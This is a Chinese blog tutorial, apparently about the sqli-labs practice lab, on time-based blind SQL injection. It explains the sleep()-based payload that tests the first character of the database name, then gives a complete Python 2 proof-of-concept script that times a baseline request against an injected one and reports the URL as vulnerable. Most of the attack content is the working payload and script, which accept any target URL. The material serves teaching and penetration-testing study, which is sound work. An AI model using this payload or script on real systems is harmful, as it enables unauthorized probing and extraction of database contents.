欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

渗透测试之POC基于时间的sql盲注

程序员文章站 2022-06-13 12:56:16
...

这次写写基于时间的sql盲注。

当整个页面没有地方显示数据的时候,这时候存在sql注入,我用md5()函数也没有地方响应出来。那么执行什么函数去证明存在注入呢?sleep()函数,页面执行了,sleep()函数后,从发请求到完全响应就有一个固定的延迟时间。

下面来看测试网站:

渗透测试之POC基于时间的sql盲注

无论你ID=多少他都是  you are in .....

基于时间盲注最常见的语句就是  If(ascii(substr(database(),1,1))>115,0,sleep(5))%23   意思是如果数据库名称的第一个字母是ascii编码为大于115(即字母s),那么延迟5秒钟。

所以把这个盲注的poc拼接上去我们看看效果

渗透测试之POC基于时间的sql盲注

可以看到响应时间为6.59秒,超过我们延迟的5秒。

如果我们直接这样写,那网络不好或者本来网站很差响应很慢肯定会产生大量的误报问题。

所以正确是写法是先发一次请求,得到一个正常的响应时间。

然后再poc发一次请求,得到一个带延迟的响应时间。理论上两个时间差大于5秒,实际上在4秒之间,这样才判断存在基于时间的sql盲注,这样误报会降低很多。

SO  开始根据这个思路写无框架的POC

#coding:utf-8
import requests
import sys
import time


def verify(url):
    target1 = url + "/Less-9/?id=1"
    target2 = url + "/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))>115,%200,%20sleep(5))%20%23"
    try:
        #记录正常请求的时间
        start_time1 = time.time()
        req1 = requests.get(target1)
        response1 = req1.text
        now_time1 = time.time() - start_time1
        print now_time1
        #记录POC发送的时间
        start_time2 = time.time()
        req2 = requests.get(target2)
        response2 = req2.text
        now_time2 = time.time() - start_time2
        print now_time2
        #print response
        #判断响应时间
        now_time = now_time2 - now_time1
        print now_time
        if now_time >= 4:
            print "%s is vulnerable" %target2
        else:
            print "%s is not vulnerable" %target2
    except Exception,e:
        print "Something happend...."
        print e
        
def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
        url = args[1]
        #print url
        verify(url)
    else:
        print "Usage:python %s url"%(args[0])
        
if __name__ == '__main__':
    main()

测试效果

渗透测试之POC基于时间的sql盲注


相关标签: poc